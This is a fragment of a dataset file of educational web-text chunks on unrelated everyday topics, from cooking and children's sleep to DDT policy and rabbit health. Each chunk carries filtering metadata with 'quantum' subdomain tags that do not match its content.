"subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.44591163016531377, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.912725"} {"text": "racism, racial discrimination and xenophobia, agreed with rosalind \u2019 s conclusion, after conducting an official visit to spain, where he met government and police officials and civil society groups. the information he received included a submission from the justice initiative highlighting the continuing problem of ethnic profiling by the police, and offering recommendations to remedy the situation. at the end of his visit, mr. rutureere reported his concern regarding the on - going \u201c problem of identity checks by the police targeting particular ethnic groups, including minorities and migrants. \u201d he urged the state and police authorities to adopt specific measures to avoid and prevent these discriminatory practices. he will issue a full official report in june. last year, in response to the international pressure, as well as the demands of an increasing number of civil society organizations and grassroots groups, the spanish government issued an official directive urging police to avoid actions based solely upon ethnic criteria of a suspect. but although the directive, known as circular 2 / 2012, marked a positive first step, it is not legally binding ; nor has it failed to fully stop the practice. further, spain remains the only country in the eu where its highest court has sanctioned ethnic profiling. continued international attention is needed to support domestic efforts to encourage meaningful action. rosalind williams \u2019 view that not much has really changed is born out by evidence gathered by the brigadas vecinales de observacion de derechos humanos, a civil society group that attempts to document identity checks through public observation. according to their 2012 report on \u201c racist identity controls in madrid \u201d the organization documented 225 discriminatory police stops in madrid alone that occurred in the seven months since the issuance of the circular. this is especially troubling as the spanish national police reported nearly nine million identity checks in 2011 alone and the number of checks observed by the brigadas vecinales represents only a small percentage of those occurred. as spain becomes a more multiethnic country \u2014 today more than 12 percent of the population is of foreign descent \u2014 ethnic profiling increasingly stigmatizes and marginalizes a large and important growing part of spanish society. when asked if she regrets the 17 years of legal procedures she undertook to seek justice, williams responded : \u201c the short answer is no. the long answer is that there have been times of disappointments of course. sometimes i wanted to take my spanish passport and my u. s. passport and buy a one - way ticket to san francisco and never come back. but spain is home, just like the united states", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44074224771076237, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.915097"} {"text": "one often hears the question : \" may i read the bible that i received from a protestant? is it true that some of the books are missing from it? \" the generous preachers from the west in a few years have provided the holy scriptures to nearly every desiring russian. much of the population came to protestant meetings only to acquire the bible as a gift. one must confess, in this manner the lord turned evil into good \u2014 through its own powers the moscow patriarchate would have had great difficulty publishing so many bibles. but may an orthodox person read them without damaging his soul? the difficulty lies in not who gave the bible, but what is printed in it. the overwhelming majority of \" protestant \" bibles in russian were printed from the synodal publication of the 19th century, and this is noted on the back side of the title page. if this reference is printed in the bible \u2014 it can be read without qualm, because the text of the holy books does not contain anything non - orthodox. but it is something else again if it is a \" free \" translation of the bible or separate bible books ( for example, \" the word of life \" ) and also bibles with commentaries. naturally, protestants comment on the word of god from their heretical point of view. there is another distinctive feature of western bible editions \u2014 the omission of eleven old testament books : tobias, judith, the wisdom of solomon, the wisdom of joshua son of sirach, the prophet baruch, the letters of jeremiah, the second and third books of ezdra, and three books of the maccabees. they are not part of the modern hebrew translation of the holy scriptures and are considered non - canonical, that is not entering the canon ( \" example, \" \" rule \" \u2014 greek ). in the truer greek translation of the bible these books exist. the slavic translation of the holy scriptures is taken from the greek text, therefore the non - canonical books are entered into it and traditionally remain in the national editions of the bible. in accordance to the orthodox catechism of st. philaret of moscow, the church offers its children the non - canonical books as pious reading, but does not extend to it the understanding of \" god - inspired \" that belongs to the canonical books. the non - canonical books are not read during services, if one does not count several readings from the book of the wisdom of solomon. so a bible taken from the protestants may be read for one \u2019 s spiritual benefit and edification", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4758133682586285, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.918585"} {"text": "outdoor furnaces : a safe, cost - effective and environmentally responsible home heating alternative more people are realizing the benefits of outdoor wood - fired furnaces as a safe, cost - effective and environmentally responsible alternative for home and business heating. outdoor furnace facts provides information about : - pending revisions to federal regulations called the new source performance standards ( nsps ) currently in development with the united states environmental protection agency ( usepa ). revisions to the nsps will include outdoor furnaces and other classes of wood heating appliances. - how outdoor furnaces can benefit home and business owners. - what the best operating practices are to promote responsible use and to prevent and / or correct outdoor furnace misuse. - how you can take action to help support responsible best practices. - how you can provide information to municipalities to ensure proper outdoor furnace usage through best practice ordinances and advocacy. - where to find resources for common questions & answers, popular myths vs. facts, recent safety and environmental testing, up - to - date emissions standards, and various emissions reports. - usepa voluntary emissions reduction program ( s ) : - epa outdoor wood - fired hydronic heater ( owhh ) phase 1 program - epa hydronic heater ( hh ) phase 2 program outdoor furnaces, also referred to by some as outdoor hydronic heaters or outdoor wood boilers, burn renewable, biomass fuels that are \u201c carbon neutral, \u201d such as wood and wood pellets. this means they don \u2019 t generate a net increase in greenhouse gas emissions, as do fossil fuel generated electricity, natural gas, fuel oil, kerosene, liquefied petroleum gas, and coal. outdoor furnaces actually lessen our dependence on foreign oil and fossil fuels. learn more about outdoor furnaces", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5123476357429375, "token_count": 352, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.920404"} {"text": "teaching kids to cook : 10 and older by the time kids are 10 or so, their reading skills are generally solid and they have enough focus to follow a recipe from start to finish. they have enough fine motor control to learn to use a knife safely, and can be taught to be careful taking things out of the oven. in addition to the skills mentioned in previous posts ( see above ), here are some skills that i try to make sure my kids begin to learn around this age : ~ ~ - chop and brown onions. if you can chop and brown an onion, you \u2019 ve mastered the first steps of literally thousands of recipes. here \u2019 s a good onion - chopping tutorial. when it comes to browning onions, the most important thing to teach kids is to let the skillet get medium hot before adding the oil and onions, then not stir until some of the onion develops some browning. once you \u2019 ve done it a few times, you \u2019 ll be able to smell when browning begins. then it is time to stir briefly and let the onions brown some more. properly browned onions adds lots of rich flavor to recipes, and all it takes is watching by someone willing to stand over the stove for a few minutes. ~ ~ make ramen with veggies. yeah, i know \u2014 ramen will never be health food. but kids love it, it \u2019 s exceedingly easy to cook, and by adding some veggies you can actually make it healthier and more flavorful. jazzy ramen stir - fry is a favorite at our house. feel free to adapt to your kid \u2019 s tastes by using veggies that he or she likes. ~ ~ make biscuits. here \u2019 s my favorite recipe. the biggest trick with biscuits is to not over - mix. blend just enough to get a cohesive dough, then quit and form your biscuits. once kids get the touch for that, they can be expert biscuit - makers. ~ ~ make cookies. for their first independent recipes, i usually start kids off with cookies, since they are high - interest, and fairly forgiving. have kids start by getting out all the ingredients so they won \u2019 t miss anything. be sure to explain the importance of mixing baking soda, baking powder and flour very well before adding wet ingredients. and for best success, do have them set the butter out an hour ahead of time so that it can be mixed in while at room temperature. if you \u2019 re one of those folks who has varying success with your chocolate", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.41279034142055676, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.925422"} {"text": "well before adding wet ingredients. and for best success, do have them set the butter out an hour ahead of time so that it can be mixed in while at room temperature. if you \u2019 re one of those folks who has varying success with your chocolate chip cookies, be sure to click on the picture to the left. it links to a website that explains how to make great chocolate cookies step by step, and describes how to avoid common cookie problems. ~ ~ bake bread. yes, really. here \u2019 s a ridiculously easy recipe for a crisp artisan - style bread that even a younger child can make. or if you don \u2019 t have the dutch oven required in that recipe, try this recipe for oatmeal bread. really, with kids over 10 who can read and follow directions, the sky is the limit when it comes to cooking. their enthusiasm will usually be highest if you let them tell you what they \u2019 re interested in trying. a couple of my daughters baked cookies for years simply because they loved it. but even uninterested kids get cooking assignments at our house. another daughter was markedly uninterested in cooking in any form. since i wanted her to gain skill ( and i knew she enjoyed eating cookies ), i assigned cookie - baking to her every week for several months until she mastered it. now she can whip through a cookie recipe in no time flat, and has actually begun to enjoy it. i \u2019 m moving her on to bread - baking next, and for the next few months plan to give cookie - baking to my 13 year old son who doesn \u2019 t have that skill learned well yet. along with systematically giving kids practice at recipes on their own, i also routinely break down dinners into smaller chunks, asking each kid to do a portion. for example, if i \u2019 m gone doing errands just before meal time, i \u2019 ll often call home and ask one kid to set water on to boil, another to cut an onion, and another to brown a pound of ground beef. by the time i get home half an hour later, preparation for a spaghetti dinner is well under way, and is easy for me to finish. and whether kids realize it or not, having helped with even a small portion of the meal gives them an awareness of what it takes to make that particular meal, as well as the ability to see cooking as doable instead if mysterious. how about you? how do you train your older kids to cook? more like this : pin it", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.43026215845287996, "token_count": 508, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.927008"} {"text": "| carbon dioxide sensor usage in the power center for the performing arts | carbon dioxide ( co2 ) sensors can be installed in areas that have infrequent or irregular occupancy patterns, such as auditoriums and classrooms. the sensors allow the ventilation system to be controlled by the concentration of co2 present in the space, thereby reducing the amount of ventilation required during unoccupied times. as the space becomes occupied, the sensors will detect an increase of co2 and adjust the amount of outside air needed. co2 sensors, as well as other energy saving equipment, were installed in the power center for the performing arts on the university of michigan ' s ann arbor campus in 1994. overview of procedure the system is designed to work efficiently in large open spaces including auditoriums, classrooms, or conference rooms. placement of sensor locations within a given space is critical for the system to work properly. if the sensors are not located correctly, fluctuations in temperature and overall comfort within the room may be observed. in addition, errors in measurement and varying co2 concentrations over time can cause low readings that may be misleading. elevated co2 may be due to various causes alone or in combination, such as : increased occupant population, poor air distribution, and poor air mixing. smoke tubes and temperature profiles may help to clarify air circulation patterns. & health precautions / personal protective equipment periodic maintenance of the sensors is required to ensure that acceptable air quality is maintained. the overall calculated energy savings, not directly related to the co2 sensors, for the power center for the performing arts in fiscal years 1995 and 1996 were $ 29, 000 and $ 32, 000, respectively.", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5345062885291723, "token_count": 335, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.930946"} {"text": "facts about various neurological health conditions - alzheimer \u2019 s disease affects 4. 5 million americans. - it is estimated that one in six people will develop alzheimer \u2019 s disease. - the number of people suffering from alzheimer \u2019 s disease has doubled since 1980. - alzheimer \u2019 s disease is the sixth leading cause of death in california. - 25 % of women and 8 % of men will experience a migraine once in their lifetime. - migraines have a tendency to run in the family : four out of five migraine sufferers have a family history of migraines. - approximately one in 272 americans are diagnosed with parkinson \u2019 s disease. - 70, 000 americans are diagnosed with parkinson \u2019 s disease each year. - advancing age is the only known risk factor for the development of parkinson \u2019 s disease ( excluding early - onset type ). - 20, 000 americans are diagnosed with epilepsy each year. - epilepsy and seizures affect 3 million americans according to the epilepsy foundation. - 10 % of american population will experience a seizure. - approximately 350, 000 - 500, 00 people are diagnosed with multiple sclerosis in the united states. - women are twice as likely to develop ms than men. - multiple sclerosis is the most common and disabling neurological disorder in young adults. - ms is most likely to occur between the ages of 20 - 50", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4646534402344051, "token_count": 279, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.933337"} {"text": "ddt ' debate ' losing steam when ddt was introduced more than 60 years ago, it initially scored victory after victory in the fight against malaria \u2014 nearly eliminating the deadly disease in many areas. but these wins were mostly short - lived, as mosquitoes rapidly developed resistance to the chemical. today, its effectiveness is a fraction of what it once was ; meanwhile an arsenal of better and safer anti - malaria interventions has been developed, including effective chemical - free strategies. and so, under the auspices of the stockholm convention, the nations of the world have committed to phasing out ddt, while allowing it to be used in the short - term in those few places where it ' s still effective and other methods of malaria control are unavailable. this is an approach pan enthusiastically supports. unfortunately, ddt use isn ' t confined to these situations. it remains the first and only line of defense against malaria in some parts of the world, even in areas where resistance to it is high among mosquito populations, as discussed in a recent report. so while experts agree that ddt can occasionally play an important role in a multi - pronged approach to malaria control, it ' s become clear that often its use is anything but judicious. a mountain of evidence on health effects compounding the situation is the failure by many to take seriously the health effects of ddt. a mountain of research exists linking ddt exposure to various human health harms ( see the the pine river statement for an excellent review of over 400 studies ). unfortunately, this evidence has been disregarded by public health officials in some malarial areas. a good example is a recent paper coauthored by a senior medical officer for uganda ' s malaria control programme. the authors measured liver enzyme levels in workers engaged in indoor residual spraying ( irs ) of ddt, and finding them to be within normal ranges, leap to the conclusion that their results \" confirm the safety of ddt as used in irs operations \" \u2014 a statement that ignores not only the hundreds of studies that do find connections between ddt and disease ( including a similar study that did find abnormal enzyme levels in sprayers ), but also the fact that many diseases don ' t affect liver enzyme levels. or consider the declaration by the namibian minister of health that \" ddt is safe for humans and the environment. since the 1940s thousands of scientific studies have investigated potential harm to human health from ddt. almost all these studies are weak, inconclusive or contradictory ; in other words there is no evidence of harm. \"", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4607209948866082, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.939810"} {"text": "is safe for humans and the environment. since the 1940s thousands of scientific studies have investigated potential harm to human health from ddt. almost all these studies are weak, inconclusive or contradictory ; in other words there is no evidence of harm. \" against this background of denial i was encouraged to see a brand new article in environmental health perspectives ( ehp ) that unequivocally repudiates such statements. \" ddt and malaria prevention : addressing the paradox, \" coauthored by south african ddt expert henk bouwman, states that given the current evidence, an unqualified statement that ddt as used in irs is safe is untenable. the authors urge a precautionary approach to using ddt, including \" use and exposure reduction. \" the paper divides the spectrum of views on ddt into three camps : pro -, anti -, and centrist, and concludes that the centrist take on ddt is \" the only logical and rational conclusion. \" interestingly, all of their examples of the pro - ddt position come from africa fighting malaria, a washington, dc - based, anti - regulation front group that promotes ddt as a virtual silver bullet for malaria control. afm ' s pro - corporate, anti - environment agenda and its connections to conservative think - tanks has been the subject of several articles in the progressive media. ( in case you ' re wondering : while the paper doesn ' t mention pan specifically, it notes only one instance of \" outright anti - ddt activity \" and it ' s not us, so presumably the authors include pan and our allies within the logic and rationality of the centrist position. ) ddt promoters still trying this is the second time in the past year that afm has been called out in ehp. in july, a letter from malaria experts hans herren and charles mbogo said that afm ' s habit of... reduc [ ing ] the complex issue of malaria control to a single, dichotomous choice between ddt and malaria... is a dangerous oversimplification and a distraction from the critical dialog on how to effectively combat malaria around the world \u2014 particularly in african communities. and still afm fights on, even as their views are called \" untenable \" and used as examples of an unreasonable position. in a new logic - defying paper, they criticize latin america ' s recent, successful, ddt - free fight against malaria. they assert that by highlighting these success", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4834442156323172, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.941427"} {"text": "called \" untenable \" and used as examples of an unreasonable position. in a new logic - defying paper, they criticize latin america ' s recent, successful, ddt - free fight against malaria. they assert that by highlighting these success stories, \" un agencies are misleading the public by claiming that malaria can be controlled without insecticides, notably ddt. \" you can ' t make this stuff up. they argue that the decreases in malaria in the region were due to the better distribution of malaria drugs rather than the introduction of insecticide - free mosquito control techniques, as reported by the un. but whether the success is due to better drug distribution or the new vector control measures is irrelevant : malaria incidence still went down without the use of ddt or other insecticides. when the pine river statement was published in 2009, lead author brenda eskenazi noted in an accompanying press release that : \" clearly, more research is needed \u2026 but in the meantime, ddt should really be the last resort against malaria, rather than the first line of defense. \" slowly but surely the use of ddt is moving towards this ideal. let ' s hope the concerted efforts of logic - challenged groups like afm don ' t stand in the way. update ( march 8, 2011 ) : the data in the afm paper mentioned above ( the one criticizing un for highlighting successful ddt - free anti - malaria projects in latin america ) appears to have been manipulated by the authors. tim lambert has the analysis on his blog here.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5004796611641857, "token_count": 308, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.942624"} {"text": "why you shouldn ' t watch tv news with your child you ' re probably pretty careful not to let your kids watch very violent or frightening shows on tv. but a recent study found that children actually find the news far more terrifying than anything they ' d see on a blood - and - guts drama like csi. the researchers showed nearly 600 kids ages 8 to 12 disturbing tv content - - things like war images, people shooting at each other, house fires, and plane crashes - - then told them what they were watching was either a fictional \" hollywood show \" or an actual news program. \" we found that the children who thought they were seeing real events had significantly higher fright responses - - they showed a greater emotional reaction - - than those who believed they were watching a fictional show, \" says study coauthor brad bushman, ph. d., a professor of psychology and communication studies at the university of michigan. and the effects, he adds, were lasting. the kids worried about the images they had seen - - that it might happen to them or their families - - long after the tv was turned off. \" i think it ' s easy to underestimate how upsetting violent content can be to children - - partly because we ' re so used to it and also, perhaps, because we don ' t think young kids really understand or are paying attention to what they ' re seeing, \" says bushman. \" but it can cause a great deal of anxiety and problems like trouble sleeping. \" that ' s reason enough for us. dvr your favorite anchor and watch after the kids hit the sack, or stay up - to - date through your favorite websites.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.3997000544610283, "token_count": 337, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.944471"} {"text": "cambodian children \u2019 s mystery illness identified by doctors doctors from the world health organization and other groups have finally identified the cause of the mysterious illness that has claimed the lives of more than 60 cambodian children, cnn is reporting. the illness appears to be a combination of viral pathogens, some of which are mosquito - borne, and it is apparently exacerbated by the use of steroid medications. from cnn. com : the pathogens include enterovirus 71, which is known to cause neurological disease ; streptococcus suis, which can cause infections like bacterial meningitis in people who have close contact with pigs or with pork products ; and dengue, which is transmitted by mosquitoes. the inappropriate use of steroids, which can suppress the immune system, worsened the illness in a majority of the patients, the doctors said. the world health organization ( who ) is expected to advise health care workers to refrain from using steroids in patients with signs and symptoms of the infection, which include severe fever, encephalitis and breathing difficulties. while not all the microorganisms were present in each patient, doctors concluded the illness was caused by a combination of them and worsened by steroid use. the who sources did not want to be identified because the results of the health organization \u2019 s investigation have not yet been made public. \u201c i \u2019 m very confident for the reason of the epidemic, \u201d said dr. phillipe buchy, chief of virology at the institut pasteur in cambodia and one of the doctors who cracked the case.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44131895267364335, "token_count": 316, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.947384"} {"text": "wednesday, june 29th, 2011 it can be hard to get scientists to agree on things. but these days there is consensus that kids these days are not getting enough sleep, and a recent paper confirms this. researchers reviewed published data on sleep duration for 5 - 18 year olds, gathered between 1905 and 2008. the published papers represented data from 690, 747 youth drawn from 20 countries. they found a notable and systematic decline in average number of hours of sleep over this 103 year period. the net result is that children today sleep, on average, 1 hour less per night. this pattern was especially true for youth in the us, europe, canada, and asia. it \u2019 s important to keep in mind that while 1 hour per night may not sound like a lot, this adds up to a lot of sleep loss over days, weeks, months, and years \u2014 all of which can take a toll on the body, especially in childhood and adolescence. there are certainly individual differences in sleep \u2014 some kids need more, some can get by with less. a good start point for parents is to consider the guidelines for different age groups such as those published by the national sleep foundation. note that there are ranges for each age that try to account for the innate differences between kids. so if your child is getting less sleep than the recommended lower limit, it may be worthwhile to discuss this with your pediatrician to determine if you should try to promote longer sleep. lack of sleep can have many effects on behavior and health. in my next post, i will present the findings of two recent papers that demonstrate how shortened sleep in toddlerhood can have an effect on unhealthy increases in fat mass later in childhood \u2014 a potential first step toward risk for diabetes and heart disease.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4734739234217558, "token_count": 354, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.950508"} {"text": "military training. classes included engineering, aerodynamics, and communications. after finishing their education at yale university, these cadets were commissioned officers. courtesy florida state archives the air corps also took over the luxurious oceanfront boca raton club to house trainees and officers from the radar training school. residents reported conditions were anything but elegant, however. the expensive furnishings had been replaced by standard army bunks housing eight to a room, the swimming pool was boarded over, poor water pressure made bathing difficult, and a rigorous schedule allowed no excuses. when the club became too crowded, the grounds, including the golf course, turned into a tent camp. african - american soldiers were segregated in squadron f. their housing, meals, training, and recreation were all separate from the white soldiers. although boca raton \u2019 s population was only 723 in 1940, during the war years it increased by 30, 000 servicemen and women, civilian employees, and their families. over 100, 000 troops passed through boca raton for training or en route to service in the pacific or europe. the activity created a boom for the area, as boca raton residents alone could not fill all the needs of the military. in 1944 j. myer schine bought the boca raton club and modernized it for a new life as the boca raton hotel and club. the boca raton army air field operated until 1947. to learn more about boca raton army air field and world war ii in palm beach county, click here. post - war military secrets after world war ii, the boca raton army air field was shut down except for 838 acres known as boca raton air force auxiliary field, a backup for morrison field. from 1952 to 1957, during the cold war with the soviet union, another 85. 4 acres to the north were used for top - secret military activities. the palm beach post made it public in 2001 after obtaining official documents and interviewing veterans and experts. during the cold war, the u. s. government pursued the development of biological weapons for use in the event the soviet union initiated a biological war. the military spent about $ 8 million, in 1950s dollars, on a program designed to stop wheat production and force the soviets to choose between surrender and feeding their civilian population. boca raton was one of many research sites scattered around the country, including immokalee, belle glade, and ft. pierce in florida. boca raton was chosen for its isolation, size, and climate. the u. s. chemical corps recruited enlisted men from the", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.446744446931465, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.969449"} {"text": "research sites scattered around the country, including immokalee, belle glade, and ft. pierce in florida. boca raton was chosen for its isolation, size, and climate. the u. s. chemical corps recruited enlisted men from the farm states of the midwest. close to a hundred men worked from a large laboratory in a quonset hut at the north end of the test site. no one wore uniforms, and vehicles were painted black. the men planted wheat between and along the runways of the former airfield, now the site of the boca raton airport and florida atlantic university. when the wheat was about a foot high, it was sprayed with a fungus called \u201c stem rust of rye, \u201d which formed spores that multiplied rapidly. every three days, the men vacuumed up the resulting millions of spores and packed them in one - to - two gallon stainless steel containers, which were driven to the avon park bombing range, near sebring. from there they were flown to an unknown destination. courtesy u. s. army if biological warfare became necessary, the spores were to be dusted onto chicken feathers, then loaded into a container that would explode about 500 feet off the ground, spreading the feathers ; the fungus spores would destroy the wheat crops in about 24 hours. in 1957 the chemical corps shut down the secret operation at boca raton and kept only a skeleton crew at the base. two years later, the military turned over the remaining property to the city of boca raton and the state of florida. the wheat disease gathered from boca raton and related sites was destroyed in 1969 by order of president nixon. a 1994 u. s. army corps of engineers survey found nothing harmful at the test site in boca raton. u. s. senator bill nelson initiated a senate investigation of the program after the department of defense refused his request for information.", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4624503157251658, "token_count": 375, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.970304"} {"text": "get flash to fully experience pearltrees using an ipad is simple due to its intuitive interface, elegant touch interface, and user - friendly operating system. below we \u2019 ve listed 23 different tasks a teacher should be able to perform with their ipad. we \u2019 ve tried to focus on the basics, along with some typical tasks a teacher may be required to complete. an ipad and apple tv can combine to provide an advantageous alternative to more expensive, traditional interactive white boards. guest writer and high school principal da vi d m aha ley is using this approach and offers his insights, and observations from educators in his school. with the integration of the ipad into the instructional environment, teachers and students have discovered many new ways in which the device can expand and enhance the learning environment. with the ipad, the apple tv can offer a flexible, complete, and cost efficient alternative to the traditional interactive boards populating our classrooms. image by k. walsh, apple tv logo source : www. apple. com / appletv don ' t forget to pack some apps with that lunch box when the kids go back to school. source : herald sun the start of the new school year is a little over a week away, but before you fill those school bags, lunch boxes and pencil cases, fill up your smartphone or tablet with some great educational apps and get a head start on study. storytelling continues to gain popularity as an educational activity as it stimulates a deep thinking process, it provides opportunities for reflection and it enhances and enriches the learning experience for our students. storytelling is a very powerful way of communicating with our peers and portrays to others who we are and what our own stories are. it also provides an opportunity to connect with a group by creating a shared experience. this is vital in any community but more so in an educational setting where we are nurturing and fostering creativity. ipads have exploded throughout schools and classrooms. their flexibility, versatility, and mobility make them a phenomenal learning tool. as teachers seek ways to integrate these devices, we recommend focusing on specific learning goals that promote critical - thinking, creativity, collaboration, and the creation of student - centric learning environments. below, you will find a list of objectives, each one connecting to recommended apps and tools. i want my students to... an absolute gem of an article by john brandon and graham barlow from maclife on 30th march over at techradar. this is going to become my ipad manual from here on in. customised ipads for all ipad 2 tips and", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45767435142163493, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.975416"} {"text": "... an absolute gem of an article by john brandon and graham barlow from maclife on 30th march over at techradar. this is going to become my ipad manual from here on in. customised ipads for all ipad 2 tips and original ipad tips - get ' em here! with great new features like two video cameras, a faster processor and a thinner design, the ipad 2 is the world ' s best tablet device. interactive and collaborative - whiteboards are a great way for teachers to explain concepts to their students. with the ability of some ipad apps to record, you ensure that students who did not develop understanding of the concept the first time have the opportunity to watch and listen again and again. working in small groups or brainstorming as a class, collaborative whiteboards are a great way to share ideas. work in the same room, on the same network or even from different parts of the country. no matter what you are working on these interactive whiteboards are a great way to document or record your thinking process. educreations : free educreations turns your ipad into a recordable whiteboard. welcome to the \u2018 ipad in education \u2019 web site - concerned with using apple \u2019 s ipad for learning and teaching. although this is based in the uk, the site \u2019 s content will reflect practice from other counties and contexts in order to explore and learn from a wide field. i am ian wilson, a freelance apple professional development authorised trainer based in the north west of england ( twitter : @ ian _ _ wilson ). ipad for teaching & learning most of what we do is for the students. the focus of this and many other blogs and websites is about learning, and rightly so, but there are also apps that will make our jobs easier too. i am talking about that catergory of apps that are designed specifically for the classroom teacher. a better app may be edmodo, it combines all of these tools into an easy to use site students enjoy going to. by nov 21 it \u2019 s time for holiday road trips and you know what that means : driving, flying, cranky kids, and \u2026 teaching opportunities! what \u2019 s that, you say? well, there is so much downtime during the holidays where kids and adults spend hours just passing the time \u2026 why not try out some new apps on your phone? many of these apps were found by the teaching palette, be sure to check out their fantastic site for more helpful resources! i often receive emails from developers of education apps, so i", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.458365090093994, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.976352"} {"text": "the time \u2026 why not try out some new apps on your phone? many of these apps were found by the teaching palette, be sure to check out their fantastic site for more helpful resources! i often receive emails from developers of education apps, so i thought that it might be useful to share some of the fantastic applications that are being created to support learning : 1 ) happi spells - \u201d happi spells \u201d is a crossword spelling game where children can practice spelling by dragging letter tiles on to 48 different mini crossword puzzles. compete for \u201c snails \u201d and try to improve your own high score! 2 ) i learn with \u2013 languages! - a fun educational game to help children aged from 3 to 7 years old to learn their first words and short sentences in a foreign language. find out more in the video below : if you ' ve got yourself a new ipad 4 or ipad mini, you ' ll want to start downloading the best ipad apps straight away. and if you already have an ipad 3 or older ipad, you might want to update it with some new apps. it ' s the apps that really set ios apart from other platforms - there are far more apps available on the app store for the ipad than any other tablet. so which which ones are worth your cash? and which are the best free apps? 5 free issues of our new technology magazine for the ipad. after seeing the chart on of bloom ' s taxonomy on bloomsapps, i thought i could make a more thorough table. i like the headings that were used in the chart. creating compile information together in a different way by combining elements in a new pattern or proposing alternative solutions. create predict image", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4491766254122637, "token_count": 340, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.977091"} {"text": "gastric dilation in rabbits gastric dilation is a syndrome in which the stomach expands ( dilates ) due to excess gas and fluid, resulting in complex local and systemic changes in the digestive tract. in most cases, it occurs due to foreign body obstruction. in rare instances, the stomach dilates in the absence of a foreign body. in either case, a mechanical or functional obstruction occurs at the opening of the stomach into the intestine, and fluid or semi - digested food accumulates in the stomach. twisting of the stomach, a condition called gastric volvulus, is rarely seen in concurrence with distension, but has been reported. more commonly, the pressure due to distension will result in a lack of blood supply and pressure on the nerves. these changes may account for acute ( sudden and severe ) clinical signs, such as severe abdominal pain, shock, and even heart failure. symptoms and types although weakness and / or collapse are the most common historical findings associated with gastric dilation, rabbits may also have a history of loss of appetite. other common symptoms include : - irregular blood pressure and heart rate - severe abdominal pain on palpation - progressive abdominal distension ( does not happen suddenly ) - hypovolemic shock ( e. g., pale mucous membranes, decreased capillary, weak pulses, low body temperature ) gastric dilation commonly occurs due to an obstruction caused by the swallowing of hair mats, cloth, or other fibers. ferrets may also obstruct the pathway by swallowing small pieces of rubber or plastic toys, though it occurs less frequently. a low fiber diet can increase cravings for fiber - rich foods and lead to chewing of the aforementioned objects, increasing the risk of intestinal obstruction. abdominal scar tissue is another posible cause for gastric dilation. you will need to provide a thorough history of your rabbit ' s health leading up to the onset of symptoms to your veterinarian. he or she will then perform a thorough physical exam on the animal in the attempt to differentiate from other causes of abdominal pain, distention and appetite loss. the best method by which to make a diagnosis will be by visually examining the stomach cavity, which may be done by x - ray, ultrasonography, or endoscopy. the latter method uses a small camera that is attached to a flexible tube, and which can be inserted into the actual space to be examined. in this way, your veterinarian can", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 